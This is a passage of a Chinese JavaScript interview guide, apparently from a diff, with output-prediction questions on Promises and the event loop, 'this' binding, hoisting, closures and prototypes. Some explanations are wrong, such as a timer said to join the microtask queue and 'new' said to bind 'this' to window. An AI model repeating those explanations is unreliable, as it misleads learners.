+可以看到,如果async函数中抛出了错误,就会终止错误结果,不会继续向下执行。 + +如果想要让错误不足之处后面的代码执行,可以使用catch来捕获: + +```javascript +async function async1 () { + await Promise.reject('error!!!').catch(e => console.log(e)) + console.log('async1'); + return Promise.resolve('async1 success') +} +async1().then(res => console.log(res)) +console.log('script start') +``` + +这样的输出结果就是: + +```javascript +script start +error!!! +async1 +async1 success +``` + +### 24. 代码输出结果 + +```javascript +const first = () => (new Promise((resolve, reject) => { + console.log(3); + let p = new Promise((resolve, reject) => { + console.log(7); + setTimeout(() => { + console.log(5); + resolve(6); + console.log(p) + }, 0) + resolve(1); + }); + resolve(2); + p.then((arg) => { + console.log(arg); + }); +})); +first().then((arg) => { + console.log(arg); +}); +console.log(4); +``` + +输出结果如下: + +```javascript +3 +7 +4 +1 +2 +5 +Promise{: 1} +``` + +代码的执行过程如下: + +1. 首先会进入Promise,打印出3,之后进入下面的Promise,打印出7; +2. 遇到了定时器,将其加入宏任务队列; +3. 执行Promise p中的resolve,状态变为resolved,返回值为1; +4. 执行Promise first中的resolve,状态变为resolved,返回值为2; +5. 遇到p.then,将其加入微任务队列,遇到first().then,将其加入任务队列; +6. 执行外面的代码,打印出4; +7. 这样第一轮宏任务就执行完了,开始执行微任务队列中的任务,先后打印出1和2; +8. 这样微任务就执行完了,开始执行下一轮宏任务,宏任务队列中有一个定时器,执行它,打印出5,由于执行已经变为resolved状态,所以`resolve(6)`不会再执行; +9. 最后`console.log(p)`打印出`Promise{: 1}`; + +### 25. 代码输出结果 + +```javascript +const async1 = async () => { + console.log('async1'); + setTimeout(() => { + console.log('timer1') + }, 2000) + await new Promise(resolve => { + console.log('promise1') + }) + console.log('async1 end') + return 'async1 success' +} +console.log('script start'); +async1().then(res => console.log(res)); +console.log('script end'); +Promise.resolve(1) + .then(2) + .then(Promise.resolve(3)) + .catch(4) + .then(res => console.log(res)) +setTimeout(() => { + console.log('timer2') +}, 1000) +``` + +输出结果如下: + +```javascript +script start +async1 +promise1 +script end +1 +timer2 +timer1 +``` + +代码的执行过程如下: + +1. 首先执行同步带吗,打印出script start; +2. 遇到定时器timer1将其加入宏任务队列; +3. 之后是执行Promise,打印出promise1,由于Promise没有返回值,所以后面的代码不会执行; +4. 然后执行同步代码,打印出script end; +5. 继续执行下面的Promise,.then和.catch期望参数是一个函数,这里传入的是一个数字,因此就会发生值渗透,将resolve(1)的值传到最后一个then,直接打印出1; +6. 遇到第二个定时器,将其加入到微任务队列,执行微任务队列,按顺序依次执行两个定时器,但是由于定时器时间的原因,会在两秒后先打印出timer2,在四秒后打印出timer1。 + +### 26. 代码输出结果 + +```javascript +const p1 = new Promise((resolve) => { + setTimeout(() => { + resolve('resolve3'); + console.log('timer1') + }, 0) + resolve('resovle1'); + resolve('resolve2'); +}).then(res => { + console.log(res) // resolve1 + setTimeout(() => { + console.log(p1) + }, 1000) +}).finally(res => { + console.log('finally', res) +}) +``` + +执行结果为如下: + +```javascript +resolve1 +finally undefined +timer1 +Promise{: undefined} +``` + +需要注意的是最后一个定时器打印出的p1其实是`.finally`的返回值,我们知道`.finally`的返回值如果在没有抛出错误的情况下默认会是上一个Promise的返回值,而这道题中`.finally`上一个Promise是`.then()`,但是这个`.then()`并没有返回值,所以p1打印出来的Promise的值会是`undefined`,如果在定时器的下面加上一个`return 1`,则值就会变成1。 + +### 27. 代码输出结果 + +```javascript +console.log('1'); + +setTimeout(function() { + console.log('2'); + process.nextTick(function() { + console.log('3'); + }) + new Promise(function(resolve) { + console.log('4'); + resolve(); + }).then(function() { + console.log('5') + }) +}) +process.nextTick(function() { + console.log('6'); +}) +new Promise(function(resolve) { + console.log('7'); + resolve(); +}).then(function() { + console.log('8') +}) + +setTimeout(function() { + console.log('9'); + process.nextTick(function() { + console.log('10'); + }) + new Promise(function(resolve) { + console.log('11'); + resolve(); + }).then(function() { + console.log('12') + }) +}) +``` + +输出结果如下: + +```javascript +1 +7 +6 +8 +2 +4 +3 +5 +9 +11 +10 +12 +``` + +**(1)第一轮事件循环流程分析如下:** + +- 整体script作为第一个宏任务进入主线程,遇到`console.log`,输出1。 +- 遇到`setTimeout`,其回调函数被分发到宏任务Event Queue中。暂且记为`setTimeout1`。 +- 遇到`process.nextTick()`,其回调函数被分发到微任务Event Queue中。记为`process1`。 +- 遇到`Promise`,`new Promise`直接执行,输出7。`then`被分发到微任务Event Queue中。记为`then1`。 +- 又遇到了`setTimeout`,其回调函数被分发到宏任务Event Queue中,记为`setTimeout2`。 + +| 宏任务Event Queue | 微任务Event Queue | +| ----------------- | ----------------- | +| setTimeout1 | process1 | +| setTimeout2 | then1 | + +上表是第一轮事件循环宏任务结束时各Event Queue的情况,此时已经输出了1和7。发现了`process1`和`then1`两个微任务: + +- 执行`process1`,输出6。 +- 执行`then1`,输出8。 + +第一轮事件循环正式结束,这一轮的结果是输出1,7,6,8。 + +**(2)第二轮时间循环从**`**setTimeout1**`**宏任务开始:** + +- 首先输出2。接下来遇到了`process.nextTick()`,同样将其分发到微任务Event Queue中,记为`process2`。 +- `new Promise`立即执行输出4,`then`也分发到微任务Event Queue中,记为`then2`。 + +| 宏任务Event Queue | 微任务Event Queue | +| ----------------- | ----------------- | +| setTimeout2 | process2 | +| | then2 | + +第二轮事件循环宏任务结束,发现有`process2`和`then2`两个微任务可以执行: + +- 输出3。 +- 输出5。 + +第二轮事件循环结束,第二轮输出2,4,3,5。 + +**(3)第三轮事件循环开始,此时只剩setTimeout2了,执行。** + +- 直接输出9。 +- 将`process.nextTick()`分发到微任务Event Queue中。记为`process3`。 +- 直接执行`new Promise`,输出11。 +- 将`then`分发到微任务Event Queue中,记为`then3`。 + +| 宏任务Event Queue | 微任务Event Queue | +| ----------------- | ----------------- | +| | process3 | +| | then3 | + +第三轮事件循环宏任务执行结束,执行两个微任务`process3`和`then3`: + +- 输出10。 +- 输出12。 + +第三轮事件循环结束,第三轮输出9,11,10,12。 + +整段代码,共进行了三次事件循环,完整的输出为1,7,6,8,2,4,3,5,9,11,10,12。 + +### 28. 代码输出结果 + +```javascript +console.log(1) + +setTimeout(() => { + console.log(2) +}) + +new Promise(resolve => { + console.log(3) + resolve(4) +}).then(d => console.log(d)) + +setTimeout(() => { + console.log(5) + new Promise(resolve => { + resolve(6) + }).then(d => console.log(d)) +}) + +setTimeout(() => { + console.log(7) +}) + +console.log(8) +``` + +输出结果如下: + +```javascript +1 +3 +8 +4 +2 +5 +6 +7 +``` + +代码执行过程如下: + +1. 首先执行script代码,打印出1; +2. 遇到第一个定时器,加入到宏任务队列; +3. 遇到Promise,执行代码,打印出3,遇到resolve,将其加入到微任务队列; +4. 遇到第二个定时器,加入到宏任务队列; +5. 遇到第三个定时器,加入到宏任务队列; +6. 继续执行script代码,打印出8,第一轮执行结束; +7. 执行微任务队列,打印出第一个Promise的resolve结果:4; +8. 开始执行宏任务队列,执行第一个定时器,打印出2; +9. 此时没有微任务,继续执行宏任务中的第二个定时器,首先打印出5,遇到Promise,首选打印出6,遇到resolve,将其加入到微任务队列; +10. 执行微任务队列,打印出6; +11. 执行宏任务队列中的最后一个定时器,打印出7。 + +### 29. 代码输出结果 + +```javascript +console.log(1); + +setTimeout(() => { + console.log(2); + Promise.resolve().then(() => { + console.log(3) + }); +}); + +new Promise((resolve, reject) => { + console.log(4) + resolve(5) +}).then((data) => { + console.log(data); +}) + +setTimeout(() => { + console.log(6); +}) + +console.log(7); +``` + +代码输出结果如下: + +```javascript +1 +4 +7 +5 +2 +3 +6 +``` + +代码执行过程如下: + +1. 首先执行scrip代码,打印出1; +2. 遇到第一个定时器setTimeout,将其加入到宏任务队列; +3. 遇到Promise,执行里面的同步代码,打印出4,遇到resolve,将其加入到微任务队列; +4. 遇到第二个定时器setTimeout,将其加入到红任务队列; +5. 执行script代码,打印出7,至此第一轮执行完成; +6. 指定微任务队列中的代码,打印出resolve的结果:5; +7. 执行宏任务中的第一个定时器setTimeout,首先打印出2,然后遇到 Promise.resolve().then(),将其加入到微任务队列; +8. 执行完这个宏任务,就开始执行微任务队列,打印出3; +9. 继续执行宏任务队列中的第二个定时器,打印出6。 + +### 30. 代码输出结果 + +```javascript +Promise.resolve().then(() => { + console.log('1'); + throw 'Error'; +}).then(() => { + console.log('2'); +}).catch(() => { + console.log('3'); + throw 'Error'; +}).then(() => { + console.log('4'); +}).catch(() => { + console.log('5'); +}).then(() => { + console.log('6'); +}); +``` + +执行结果如下: + +```javascript +1 +3 +5 +6 +``` + +在这道题目中,我们需要知道,无论是then还是catch中,只要throw 抛出了错误,就会被catch捕获并无视中间的then过程,如果没有throw出错误,就被继续执行后面的then。 + +### 31. 代码输出结果 + +```javascript +setTimeout(function () { + console.log(1); +}, 100); + +new Promise(function (resolve) { + console.log(2); + resolve(); + console.log(3); +}).then(function () { + console.log(4); + new Promise((resove, reject) => { + console.log(5); + setTimeout(() => { + console.log(6); + }, 10); + }) +}); +console.log(7); +console.log(8); +``` + +输出结果为: + +```javascript +2 +3 +7 +8 +4 +5 +6 +1 +``` + +代码执行过程如下: + +1. 首先遇到定时器,将其加入到宏任务队列; +2. 遇到Promise,首先执行里面的同步代码,打印出2,遇到resolve,将其加入到微任务队列,执行后面同步代码,打印出3; +3. 继续执行script中的代码,打印出7和8,至此第一轮代码执行完成; +4. 执行微任务队列中的代码,首先打印出4,如遇到Promise,执行其中的同步代码,打印出5,遇到定时器,将其加入到宏任务队列中,此时宏任务队列中有两个定时器; +5. 执行宏任务队列中的代码,这里我们需要注意是的第一个定时器的时间为100ms,第二个定时器的时间为10ms,所以先执行第二个定时器,打印出6; +6. 此时微任务队列为空,继续执行宏任务队列,打印出1。 + +做完这道题目,我们就需要格外注意,每个定时器的时间,并不是所有定时器的时间都为0哦。 + +## 二、this + +### 1. 代码输出结果 + +```javascript +function foo() { + console.log( this.a ); +} + +function doFoo() { + foo(); // 相当于直接函数调用 +} + +var obj = { + a: 1, + doFoo: doFoo +}; + +var a = 2; +obj.doFoo() +``` + +输出结果:2 + +在Javascript中,this指向函数执行时的当前对象。在执行foo的时候,执行环境就是doFoo函数,执行环境为全局。所以,foo中的this是指向window的,所以会打印出2。 + +> 修改,使用bind或者箭头函数 + +```js +function foo() { + console.log( this.a ); +} + +function doFoo() { + foo.bind(this)(); +} + +var obj = { + a: 1, + doFoo: doFoo +}; + +var a = 2; +obj.doFoo() // 1 +``` + +### 2. 代码输出结果 + +```javascript +var a = 10; +var obj = { + a: 20, + say: () => { + console.log(this.a); + } +} +obj.say(); + +var anotherObj = { a: 30 }; +obj.say.apply(anotherObj); +``` + +输出结果:10 10 + +我么知道,箭头函数时不绑定this的,它的this来自原其父级所处的上下文,所以首先会打印全局中的 a 的值10。后面虽然让say方法指向了另外一个对象,但是仍不能改变箭头函数的特性,它的this仍然是指向全局的,所以依旧会输出10。 + +但是,如果是普通函数,那么就会有完全不一样的结果: + +```javascript +var a = 10 +var obj = { + a: 20, + say(){ + console.log(this.a) + } +} +obj.say() +var anotherObj={a:30} +obj.say.apply(anotherObj) +``` + +输出结果:20 30 + +这时,say方法中的this就会指向他所在的对象,输出其中的a的值。 + +### 3. 代码输出结果 + +```javascript +function a() { + console.log(this); +} +a.call(null); +``` + +打印结果:window对象 + +根据ECMAScript262规范规定:如果第一个参数传入的对象调用者是null或者undefined,call方法将把全局对象(浏览器上是window对象)作为this的值。所以,不管传入null 还是 undefined,其this都是全局对象window。所以,在浏览器上答案是输出 window 对象。 + +要注意的是,在严格模式中,null 就是 null,undefined 就是 undefined: + +```javascript +'use strict'; + +function a() { + console.log(this); +} +a.call(null); // null +a.call(undefined); // undefined +``` + +> 补充,在node环境下,则为`global`对象 + +### 4. 代码输出结果 + +```javascript +var obj = { + name : 'cuggz', + fun : function(){ + console.log(this.name); + } +} +obj.fun() // cuggz +new obj.fun() // undefined +``` + +使用new构造函数时,其this指向的是全局环境window。 + +### 6. 代码输出结果 + +```javascript +var obj = { + say: function() { + var f1 = () => { + console.log("1111", this); + } + f1(); + }, + pro: { + getPro:() => { + console.log(this); + } + } +} +var o = obj.say; +o(); +obj.say(); +obj.pro.getPro(); +``` + +输出结果: + +```javascript +1111 window对象 +1111 obj对象 +window对象 +``` + +**解析:** + +1. o(),o是在全局执行的,而f1是箭头函数,它是没有绑定this的,它的this指向其父级的this,其父级say方法的this指向的是全局作用域,所以会打印出window; +2. obj.say(),谁调用say,say 的this就指向谁,所以此时this指向的是obj对象; +3. obj.pro.getPro(),我们知道,箭头函数时不绑定this的,getPro处于pro中,而对象不构成单独的作用域,所以箭头的函数的this就指向了全局作用域window。 + +**2020.7.4** + +### 7. 代码输出结果 + +```javascript +var myObject = { + foo: "bar", + func: function() { + var self = this; + console.log(this.foo); + console.log(self.foo); + (function() { + console.log(this.foo); + console.log(self.foo); + }()); + } +}; +myObject.func(); +``` + +输出结果:bar bar undefined bar + +**解析:** + +1. 首先func是由myObject调用的,this指向myObject。又因为var self = this;所以self指向myObject。 +2. 这个立即执行匿名函数表达式是由window调用的,this指向window 。立即执行匿名函数的作用域处于myObject.func的作用域中,在这个作用域找不到self变量,沿着作用域链向上查找self变量,找到了指向 myObject对象的self。 + +### 8. 代码输出问题 + +```javascript +window.number = 2; +var obj = { + number: 3, + db1: (function(){ + console.log(this); + this.number *= 4; + return function(){ + console.log(this); + this.number *= 5; + } + })() +} +var db1 = obj.db1; +db1(); +obj.db1(); +console.log(obj.number); // 15 +console.log(window.number); // 40 +``` + +这道题目看清起来有点乱,但是实际上是考察this指向的: + +1. 执行db1()时,this指向全局作用域,所以window.number * 4 = 8,然后执行匿名函数, 所以window.number * 5 = 40; +2. 执行obj.db1();时,this指向obj对象,执行匿名函数,所以obj.numer * 5 = 15。 + +### 9. 代码输出结果 + +```javascript +var length = 10; +function fn() { + console.log(this.length); +} + +var obj = { + length: 5, + method: function(fn) { + fn(); + arguments[0](); + } +}; + +obj.method(fn, 1); +``` + +输出结果: 10 2 + +**解析:** + +1. 第一次执行fn(),this指向window对象,输出10。 +2. 第二次执行arguments[0](https://link.juejin.cn?target=),相当于arguments调用方法,this指向arguments,而这里传了两个参数,故输出arguments长度为2。 + +### 10. 代码输出结果 + +```javascript +var a = 1; +function printA(){ + console.log(this.a); +} +var obj={ + a:2, + foo:printA, + bar:function(){ + printA(); + } +} + +obj.foo(); // 2 +obj.bar(); // 1 +var foo = obj.foo; +foo(); // 1 +``` + +输出结果: 2 1 1 + +**解析:** + +1. obj.foo(),foo 的this指向obj对象,所以a会输出2; +2. obj.bar(),printA在bar方法中执行,所以此时printA的this指向的是window,所以会输出1; +3. foo(),foo是在全局对象中执行的,所以其this指向的是window,所以会输出1; + +### 11. 代码输出结果 + +```javascript +var x = 3; +var y = 4; +var obj = { + x: 1, + y: 6, + getX: function() { + var x = 5; + return function() { + return this.x; + }(); + }, + getY: function() { + var y = 7; + return this.y; + } +} +console.log(obj.getX()) // 3 +console.log(obj.getY()) // 6 +``` + +输出结果:3 6 + +**解析:** + +1. 我们知道,匿名函数的this是指向全局对象的,所以this指向window,会打印出3; +2. getY是由obj调用的,所以其this指向的是obj对象,会打印出6。 + +### 12. 代码输出结果 + +```javascript + var a = 10; + var obt = { + a: 20, + fn: function(){ + var a = 30; + console.log(this.a) + } + } + obt.fn(); // 20 + obt.fn.call(); // 10 + (obt.fn)(); // 20 +``` + +输出结果: 20 10 20 + +**解析:** + +1. obt.fn(),fn是由obt调用的,所以其this指向obt对象,会打印出20; +2. obt.fn.call(),这里call的参数啥都没写,就表示null,我们知道如果call的参数为undefined或null,那么this就会指向全局对象this,所以会打印出 10; +3. (obt.fn)(), 这里给表达式加了括号,而括号的作用是改变表达式的运算顺序,而在这里加与不加括号并无影响;相当于 obt.fn(),所以会打印出 20; + +### 13. 代码输出结果 + +```javascript +function a(xx){ + this.x = xx; + return this +}; +var x = a(5); +var y = a(6); + +console.log(x.x) // undefined +console.log(y.x) // 6 +``` + +输出结果: undefined 6 + +**解析:** + +1. 最关键的就是var x = a(5),函数a是在全局作用域调用,所以函数内部的this指向window对象。**所以 this.x = 5 就相当于:window.x = 5。**之后 return this,也就是说 var x = a(5) 中的x变量的值是window,这里的x将函数内部的x的值覆盖了。然后执行console.log(x.x), 也就是console.log(window.x),而window对象中没有x属性,所以会输出undefined。 +2. 当指向y.x时,会给全局变量中的x赋值为6,所以会打印出6。 + +### 14. 代码输出结果 + +```javascript +function foo(something){ + this.a = something +} + +var obj1 = { + foo: foo +} + +var obj2 = {} + +obj1.foo(2); +console.log(obj1.a); // 2 + +obj1.foo.call(obj2, 3); +console.log(obj2.a); // 3 + +var bar = new obj1.foo(4) +console.log(obj1.a); // 2 +console.log(bar.a); // 4 +``` + +输出结果: 2 3 2 4 + +**解析:** + +1. 首先执行obj1.foo(2); 会在obj中添加a属性,其值为2。之后执行obj1.a,a是右obj1调用的,所以this指向obj,打印出2; +2. 执行 obj1.foo.call(obj2, 3) 时,会将foo的this指向obj2,后面就和上面一样了,所以会打印出3; +3. obj1.a会打印出2; +4. 最后就是考察this绑定的优先级了,new 绑定是比隐式绑定优先级高,所以会输出4。 + +### 15. 代码输出结果 + +```javascript +function foo(something){ + this.a = something +} + +var obj1 = {} + +var bar = foo.bind(obj1); +bar(2); +console.log(obj1.a); // 2 + +var baz = new bar(3); +console.log(obj1.a); // 2 +console.log(baz.a); // 3 +``` + +输出结果: 2 2 3 + +这道题目和上面题目差不多,主要都是考察this绑定的优先级。记住以下结论即可:**this绑定的优先级:new绑定 > 显式绑定 > 隐式绑定 > 默认绑定。** + +## 三、作用域&变量提升&闭包 + +### 1. 代码输出结果 + +```javascript +(function(){ + var x = y = 1; +})(); +var z; + +console.log(y); // 1 +console.log(z); // undefined +console.log(x); // Uncaught ReferenceError: x is not defined +``` + +这段代码的关键在于:var x = y = 1; 实际上这里是从右往左执行的,首先执行y = 1, 因为y没有使用var声明,所以它是一个全局变量,然后第二步是将y赋值给x,讲一个全局变量赋值给了一个局部变量,最终,x是一个局部变量,y是一个全局变量,所以打印x是报错。 + +### 2. 代码输出结果 + +```javascript +var a, b +(function () { + console.log(a); + console.log(b); + var a = (b = 3); + console.log(a); + console.log(b); +})() +console.log(a); +console.log(b); +``` + +输出结果: + +```javascript +undefined +undefined +3 +3 +undefined +3 +``` + +这个题目和上面题目考察的知识点类似,b赋值为3,b此时是一个全局变量,而将3赋值给a,a是一个局部变量,所以最后打印的时候,a仍旧是undefined。 + +### 3. 代码输出结果 + +```javascript +var friendName = 'World'; +(function() { + if (typeof friendName === 'undefined') { + var friendName = 'Jack'; + console.log('Goodbye ' + friendName); + } else { + console.log('Hello ' + friendName); + } +})(); +``` + +输出结果:Goodbye Jack + +我们知道,在 JavaScript中, Function 和 var 都会被提升(变量提升),所以上面的代码就相当于: + +```javascript +var name = 'World!'; +(function () { + var name; + if (typeof name === 'undefined') { + name = 'Jack'; + console.log('Goodbye ' + name); + } else { + console.log('Hello ' + name); + } +})(); +``` + +这样,答案就一目了然了。 + +### 4. 代码输出结果 + +```javascript +function fn1(){ + console.log('fn1') +} +var fn2 + +fn1() +fn2() + +fn2 = function() { + console.log('fn2') +} + +fn2() +``` + +输出结果: + +```javascript +fn1 +Uncaught TypeError: fn2 is not a function +fn2 +``` + +这里也是在考察变量提升,关键在于第一个fn2(),这时fn2仍是一个undefined的变量,所以会报错fn2不是一个函数。 + +### 5. 代码输出结果 + +```javascript +function a() { + var temp = 10; + function b() { + console.log(temp); // 10 + } + b(); +} +a(); + +function a() { + var temp = 10; + b(); +} +function b() { + console.log(temp); // 报错 Uncaught ReferenceError: temp is not defined +} +a(); +``` + +在上面的两段代码中,第一段是可以正常输出,这个应该没啥问题,关键在于第二段代码,它会报错Uncaught ReferenceError: temp is not defined。这时因为在b方法执行时,temp 的值为undefined。 + +### 6. 代码输出结果 + +```javascript + var a=3; + function c(){ + alert(a); + } + (function(){ + var a=4; + c(); + })(); +``` + +js中变量的作用域链与定义时的环境有关,与执行时无关。执行环境只会改变this、传递的参数、全局变量等 + +### 7. 代码输出问题 + +```javascript +function fun(n, o) { + console.log(o) + return { + fun: function(m){ + return fun(m, n); + } + }; +} +var a = fun(0); a.fun(1); a.fun(2); a.fun(3); +var b = fun(0).fun(1).fun(2).fun(3); +var c = fun(0).fun(1); c.fun(2); c.fun(3); +``` + +输出结果: + +```javascript +undefined 0 0 0 +undefined 0 1 2 +undefined 0 1 1 +``` + +这是一道关于闭包的题目,对于fun方法,调用之后返回的是一个对象。我们知道,当调用函数的时候传入的实参比函数声明时指定的形参个数要少,剩下的形参都将设置为undefined值。所以 `console.log(o);` 会输出undefined。而a就是是fun(0)返回的那个对象。也就是说,函数fun中参数 n 的值是0,而返回的那个对象中,需要一个参数n,而这个对象的作用域中没有n,它就继续沿着作用域向上一级的作用域中寻找n,最后在函数fun中找到了n,n的值是0。了解了这一点,其他运算就很简单了,以此类推。 + +### 8. 代码输出结果 + +```javascript +f = function() {return true;}; +g = function() {return false;}; +(function() { + if (g() && [] == ![]) { + f = function f() {return false;}; + function g() {return true;} + } +})(); +console.log(f()); +``` + +输出结果: false + +这里首先定义了两个变量f和g,我们知道变量是可以重新赋值的。后面是一个匿名自执行函数,在 if 条件中调用了函数 g(),由于在匿名函数中,又重新定义了函数g,就覆盖了外部定义的变量g,所以,这里调用的是内部函数 g 方法,返回为 true。第一个条件通过,进入第二个条件。 + +第二个条件是[] == ![],先看 ![] ,在 JavaScript 中,当用于布尔运算时,比如在这里,对象的非空引用被视为 true,空引用 null 则被视为 false。由于这里不是一个 null, 而是一个没有元素的数组,所以 [] 被视为 true, 而 ![] 的结果就是 false 了。当一个布尔值参与到条件运算的时候,true 会被看作 1, 而 false 会被看作 0。现在条件变成了 [] == 0 的问题了,当一个对象参与条件比较的时候,它会被求值,求值的结果是数组成为一个字符串,[] 的结果就是 '' ,而 '' 会被当作 0 ,所以,条件成立。 + +两个条件都成立,所以会执行条件中的代码, f 在定义是没有使用var,所以他是一个全局变量。因此,这里会通过闭包访问到外部的变量 f, 重新赋值,现在执行 f 函数返回值已经成为 false 了。而 g 则不会有这个问题,这里是一个函数内定义的 g,不会影响到外部的 g 函数。所以最后的结果就是 false。 + +## 四、原型&继承 + +### 1. 代码输出结果 + +```javascript +function Person(name) { + this.name = name +} +var p2 = new Person('king'); +console.log(p2.__proto__) //Person.prototype +console.log(p2.__proto__.__proto__) //Object.prototype +console.log(p2.__proto__.__proto__.__proto__) // null +console.log(p2.__proto__.__proto__.__proto__.__proto__)//null后面没有了,报错 +console.log(p2.__proto__.__proto__.__proto__.__proto__.__proto__)//null后面没有了,报错 +console.log(p2.constructor)//Person +console.log(p2.prototype)//undefined p2是实例,没有prototype属性 +console.log(Person.constructor)//Function 一个空函数 +console.log(Person.prototype)//打印出Person.prototype这个对象里所有的方法和属性 +console.log(Person.prototype.constructor)//Person +console.log(Person.prototype.__proto__)// Object.prototype +console.log(Person.__proto__) //Function.prototype +console.log(Function.prototype.__proto__)//Object.prototype +console.log(Function.__proto__)//Function.prototype +console.log(Object.__proto__)//Function.prototype +console.log(Object.prototype.__proto__)//null +``` + +这道义题目考察原型、原型链的基础,记住就可以了。 + +### 2. 代码输出结果 + +```javascript +// a +function Foo () { + getName = function () { + console.log(1); + } + return this; +} +// b +Foo.getName = function () { + console.log(2); +} +// c +Foo.prototype.getName = function () { + console.log(3); +} +// d +var getName = function () { + console.log(4); +} +// e +function getName () { + console.log(5); +} + +Foo.getName(); // 2 +getName(); // 4 +Foo().getName(); // 1 +getName(); // 1 +new Foo.getName(); // 2 +new Foo().getName(); // 3 +new new Foo().getName(); // 3 +``` + +输出结果:2 4 1 1 2 3 3 + +**解析:** + +1. **Foo.getName(),** Foo为一个函数对象,对象都可以有属性,b 处定义Foo的getName属性为函数,输出2; +2. **getName(),** 这里看d、e处,d为函数表达式,e为函数声明,两者区别在于变量提升,函数声明的 5 会被后边函数表达式的 4 覆盖; +3. ** Foo().getName(),** 这里要看a处,在Foo内部将全局的getName重新赋值为 console.log(1) 的函数,执行Foo()返回 this,这个this指向window,Foo().getName() 即为window.getName(),输出 1; +4. **getName(),** 上面3中,全局的getName已经被重新赋值,所以这里依然输出 1; +5. **new Foo.getName(),** 这里等价于 new (Foo.getName()),先执行 Foo.getName(),输出 2,然后new一个实例; +6. **new Foo().getName(),** 这 里等价于 (new Foo()).getName(), 先new一个Foo的实例,再执行这个实例的getName方法,但是这个实例本身没有这个方法,所以去原型链__protot__上边找,实例.**protot** === Foo.prototype,所以输出 3; +7. **new new Foo().getName(),** 这里等价于new (new Foo().getName()),如上述6,先输出 3,然后new 一个 new Foo().getName() 的实例。 + +### 3. 代码输出结果 + +```javascript +var F = function() {}; +Object.prototype.a = function() { + console.log('a'); +}; +Function.prototype.b = function() { + console.log('b'); +} +var f = new F(); +f.a(); +f.b(); +F.a(); +F.b() +``` + +输出结果: + +```javascript +a +Uncaught TypeError: f.b is not a function +a +b +``` + +**解析:** + +1. f 并不是 Function 的实例,因为它本来就不是构造函数,调用的是 Function 原型链上的相关属性和方法,只能访问到 Object 原型链。所以 f.a() 输出 a ,而 f.b() 就报错了。 +2. F 是个构造函数,而 F 是构造函数 Function 的一个实例。因为 F instanceof Object === true,F instanceof Function === true,由此可以得出结论:F 是 Object 和 Function 两个的实例,即 F 能访问到 a, 也能访问到 b。所以 F.a() 输出 a ,F.b() 输出 b。 + +### 4. 代码输出结果 + +```javascript +function Foo(){ + Foo.a = function(){ + console.log(1); + } + this.a = function(){ + console.log(2) + } +} + +Foo.prototype.a = function(){ + console.log(3); +} + +Foo.a = function(){ + console.log(4); +} + +Foo.a(); +let obj = new Foo(); +obj.a(); +Foo.a(); +``` + +输出结果:4 2 1 + +**解析:** + +1. Foo.a() 这个是调用 Foo 函数的静态方法 a,虽然 Foo 中有优先级更高的属性方法 a,但 Foo 此时没有被调用,所以此时输出 Foo 的静态方法 a 的结果:4 +2. let obj = new Foo(); 使用了 new 方法调用了函数,返回了函数实例对象,此时 Foo 函数内部的属性方法初始化,原型链建立。 +3. obj.a() ; 调用 obj 实例上的方法 a,该实例上目前有两个 a 方法:一个是内部属性方法,另一个是原型上的方法。当这两者都存在时,首先查找 ownProperty ,如果没有才去原型链上找,所以调用实例上的 a 输出:2 +4. Foo.a() ; 根据第2步可知 Foo 函数内部的属性方法已初始化,覆盖了同名的静态方法,所以输出:1 + +### 5. 代码输出结果 + +```javascript +function Dog() { + this.name = 'puppy' +} +Dog.prototype.bark = () => { + console.log('woof!woof!') +} +const dog = new Dog() +console.log(Dog.prototype.constructor === Dog && dog.constructor === Dog && dog instanceof Dog) +``` + +输出结果:true + +**解析:** 因为constructor是prototype上的属性,所以dog.constructor实际上就是指向Dog.prototype.constructor;constructor属性指向构造函数。instanceof而实际检测的是类型是否在实例的原型链上。 + +constructor是prototype上的属性,这一点很容易被忽略掉。constructor和instanceof 的作用是不同的,感性地来说,constructor的限制比较严格,它只能严格对比对象的构造函数是不是指定的值;而instanceof比较松散,只要检测的类型在原型链上,就会返回true。 + +### 6. 代码输出结果 + +```javascript +var A = {n: 4399}; +var B = function(){this.n = 9999}; +var C = function(){var n = 8888}; +B.prototype = A; +C.prototype = A; +var b = new B(); +var c = new C(); +A.n++ +console.log(b.n); +console.log(c.n); +``` + +输出结果:9999 4400 + +**解析:** + +1. console.log(b.n),在查找b.n是首先查找 b 对象自身有没有 n 属性,如果没有会去原型(prototype)上查找,当执行var b = new B()时,函数内部this.n=9999(此时this指向 b) 返回b对象,b对象有自身的n属性,所以返回 9999。 +2. console.log(c.n),同理,当执行var c = new C()时,c对象没有自身的n属性,向上查找,找到原型 (prototype)上的 n 属性,因为 A.n++(此时对象A中的n为4400), 所以返回4400。 + +### 7. 代码输出问题 + +```javascript +function A(){ +} +function B(a){ +  this.a = a; +} +function C(a){ +  if(a){ +this.a = a; +  } +} +A.prototype.a = 1; +B.prototype.a = 1; +C.prototype.a = 1; + +console.log(new A().a); +console.log(new B().a); +console.log(new C(2).a); +``` + +输出结果:1 undefined 2 + +**解析:** + +1. console.log(new A().a),new A()为构造函数创建的对象,本身没有a属性,所以向它的原型去找,发现原型的a属性的属性值为1,故该输出值为1; +2. console.log(new B().a),ew B()为构造函数创建的对象,该构造函数有参数a,但该对象没有传参,故该输出值为undefined; +3. console.log(new C(2).a),new C()为构造函数创建的对象,该构造函数有参数a,且传的实参为2,执行函数内部,发现if为真,执行this.a = 2,故属性a的值为2。 + +### 8 代码输出问题 + +```javascript +function Parent() { + this.a = 1; + this.b = [1, 2, this.a]; + this.c = { demo: 5 }; + this.show = function () { + console.log(this.a , this.b , this.c.demo ); + } +} + +function Child() { + this.a = 2; + this.change = function () { + this.b.push(this.a); + this.a = this.b.length; + this.c.demo = this.a++; + } +} + +Child.prototype = new Parent(); +var parent = new Parent(); +var child1 = new Child(); +var child2 = new Child(); +child1.a = 11; +child2.a = 12; +parent.show(); +child1.show(); +child2.show(); +child1.change(); +child2.change(); +parent.show(); +child1.show(); +child2.show(); +``` + +输出结果: + +```javascript +parent.show(); // 1 [1,2,1] 5 + +child1.show(); // 11 [1,2,1] 5 +child2.show(); // 12 [1,2,1] 5 + +parent.show(); // 1 [1,2,1] 5 + +child1.show(); // 5 [1,2,1,11,12] 5 + +child2.show(); // 6 [1,2,1,11,12] 5 +``` + +这道题目值得神帝,他涉及到的知识点很多,例如**this的指向、原型、原型链、类的继承、数据类型**等。 + +**解析:** + +1. parent.show(),可以直接获得所需的值,没啥好说的; +2. child1.show(),`Child`的构造函数原本是指向`Child`的,题目显式将`Child`类的原型对象指向了`Parent`类的一个实例,需要注意`Child.prototype`指向的是`Parent`的实例`parent`,而不是指向`Parent`这个类。 +3. child2.show(),这个也没啥好说的; +4. 